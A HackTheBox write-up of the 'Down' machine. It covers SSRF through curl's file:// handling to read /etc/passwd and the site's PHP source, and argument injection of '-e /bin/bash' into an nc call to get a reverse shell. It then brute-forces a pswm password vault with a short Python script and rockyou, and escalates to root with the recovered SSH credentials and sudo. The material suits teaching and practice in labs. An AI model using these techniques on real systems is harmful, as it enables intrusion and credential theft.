Down

📅 Last Updated: Oct 04, 2025 07:45 | 📄 Size: 11.0 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ nmap -sC -sV -Pn 10.129.234.87 -oN ./nmap.txt   
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBL9eTcP2DDxJHJ2uCdOmMRIPaoOhvMFXL33f1pZTIe0VTdeHRNYlpm2a2PumsO5t88M7QF3L3d6n1eRHTTAskGw=
|   256 fa:06:1f:f4:bf:8c:e3:b0:c8:40:21:0d:57:06:dd:11 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJwLt0rmihlvq9pk6BmFhjTycNR54yApKIrnwI8xzYx/
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Page check

index page

I would try to open the http server and test this function here

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ python3 -m http.server 80                                                                                         
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.234.87 - - [02/Oct/2025 11:06:51] "GET / HTTP/1.1" 200 -

We can also use ncto check it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.14.22] from (UNKNOWN) [10.129.234.87] 36712
GET / HTTP/1.1
Host: 10.10.14.22
User-Agent: curl/7.81.0
Accept: */*

Also we can try to checkhttp://localhost

The next thing I’ll try is if I can use the file:// protocol instead of http:// to read files on the host.

file:///etc/passwd

So let's try to bypass it with http://file:///etc/passwd

curl has an interesting trick: if I enter multiple URLs, it will fetch them simultaneously.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ curl -s http://localhost/test1 http://localhost/test2
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </body>
</html>
<!DOCTYPE HTML>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: 404</p>
        <p>Message: File not found.</p>
        <p>Error code explanation: 404 - Nothing matches the given URI.</p>
    </body>
</html>
            

That means we can just http://localhost/ file:///etc/passwd

Then we can try to read the source code of this service, the default path would be /var/www/html/index.php So the payload would be

http://localhost/ file:///var/www/html/index.php

We successfully get the source code

<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
  echo '<h1>Is the port refused, or is it just you?</h1>
        <form id="urlForm" action="index.php?expertmode=tcp" method="POST">
            <input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
            <input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
            <button type="submit">Is it refused?</button>
        </form>';
} else {
  echo '<h1>Is that website down, or is it just you?</h1>
        <form id="urlForm" action="index.php" method="POST">
            <input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
            <button type="submit">Is it down?</button>
        </form>';
}

if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
  $ip = trim($_POST['ip']);
  $valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
  $port = trim($_POST['port']);
  $port_int = intval($port);
  $valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
  if ( $valid_ip && $valid_port ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
  }
} elseif (isset($_POST['url'])) {
  $url = trim($_POST['url']);
  if ( preg_match('|^https?://|',$url) ) {
    $rc = 255; $output = '';
    $ec = escapeshellcmd("/usr/bin/curl -s $url");
    exec($ec . " 2>&1",$output,$rc);
    echo '<div class="output" id="outputSection">';
    if ( $rc === 0 ) {
      echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
      echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
    } else {
      echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
    }
  } else {
    echo '<div class="output" id="outputSection">';
    echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
  }
}

It is looking for the expertmode parameter with the value "tcp" http://10.129.234.87/index.php?expertmode=tcp

It actually uses exec to run the curl binary, which is wrapped in escapeshellcmd to prevent command injection.

The problem with the above code is that it converts the $port value to an int ($port_int) and validates that value, but then it uses the raw input in the command!

escapeshellcmd protects against command injection, but not against argument injection. So I can send -e /bin/bash and try to get a shell.

We have to use burpsuiteto exploit that, then you can get the reverse shell as www-data

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ nc -lnvp 443                                                                                 
listening on [any] 443 ...
connect to [10.10.14.22] from (UNKNOWN) [10.129.243.238] 58674
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Then upgrade the shell

upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg

Privilege escalation

There is only one valid user aleks

www-data@down:/home$ ls
aleks

And www-datacould visit this directory

www-data@down:/home/aleks$ find . -type f
./.lesshst
./.bashrc
./.sudo_as_admin_successful
./.local/share/pswm/pswm
find: './.cache': Permission denied
find: './.ssh': Permission denied
./.profile
./.bash_logout

pswmis interesting

A simple command line password manager written in Python.

We can review this file

www-data@down:/home/aleks$ which pswm
/usr/bin/pswm
www-data@down:/home/aleks$ cat .local/share/pswm/pswm 
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==

That seems like encrypted

Let's review the code of pswm from github, we found the pswm script is not that long, and there is a function encrypted_file_to_lines

def encrypted_file_to_lines(file_name, master_password):
    """
    This function opens and decrypts the password vault.

    Args:
        file_name (str): The name of the file containing the password vault.
        master_password (str): The master password to use to decrypt the
        password vault.

    Returns:
        list: A list of lines containing the decrypted passwords.
    """
    if not os.path.isfile(file_name):
        return ""

    with open(file_name, 'r') as file:
        encrypted_text = file.read()

    decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
    if decrypted_text is False:
        return False

    decrypted_lines = decrypted_text.splitlines()
    return decrypted_lines

It’s using the cryptocode package’s decrypt function, so we can just call the package and make a decrypted script or there is a tool https://github.com/seriotonctf/pswm-decryptor

import cryptocode
import sys


if len(sys.argv) != 3:
    print(f"usage: {sys.argv[0]} <pwsm file> <wordlist>")
    sys.exit()


with open(sys.argv[1], 'r') as f:
    pwsm = f.read()

with open(sys.argv[2], 'rb') as f:
    passwords = f.read().decode(errors='ignore').split('\n')


for password in passwords:
        pt = cryptocode.decrypt(pwsm, password.strip())
        if (pt):
            print(f"Found password: {password}")
            print(pt)
            break

Then we can successfully get the password

python3 brute.py pswm /opt/seclists/rockyou.txt 
Found password: flower
pswm    aleks   flower
aleks@down      aleks   1uY3w22uc-Wr{xNHR~+E

We can use the credit aleks:1uY3w22uc-Wr{xNHR~+Eto ssh connect the shell

──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Down]
└─$ ssh aleks@10.129.243.238      
The authenticity of host '10.129.243.238 (10.129.243.238)' can't be established.
ED25519 key fingerprint is SHA256:uq3+WwrPajXEUJC3CCuYMMlFTVM8CGYqMtGB9mI29wg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.243.238' (ED25519) to the list of known hosts.
(aleks@10.129.243.238) Password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-138-generic x86_64)

 System information as of Thu Oct  2 05:24:02 AM UTC 2025

  System load:           0.0
  Usage of /:            52.4% of 6.92GB
  Memory usage:          6%
  Swap usage:            0%
  Processes:             229
  Users logged in:       0
  IPv4 address for eth0: 10.129.243.238
  IPv6 address for eth0: dead:beef::250:56ff:fe95:e6b3
Last login: Tue Jun 10 15:47:07 2025 from 10.10.14.67
aleks@down:~$ id
uid=1000(aleks) gid=1000(aleks) groups=1000(aleks),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
aleks@down:~$ sudo -l
[sudo] password for aleks: 
Matching Defaults entries for aleks on down:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User aleks may run the following commands on down:
    (ALL : ALL) ALL

Also, you can just sudo suto get the root shell

Description

There is a simple code review and a trick use of curl,kind of interesting.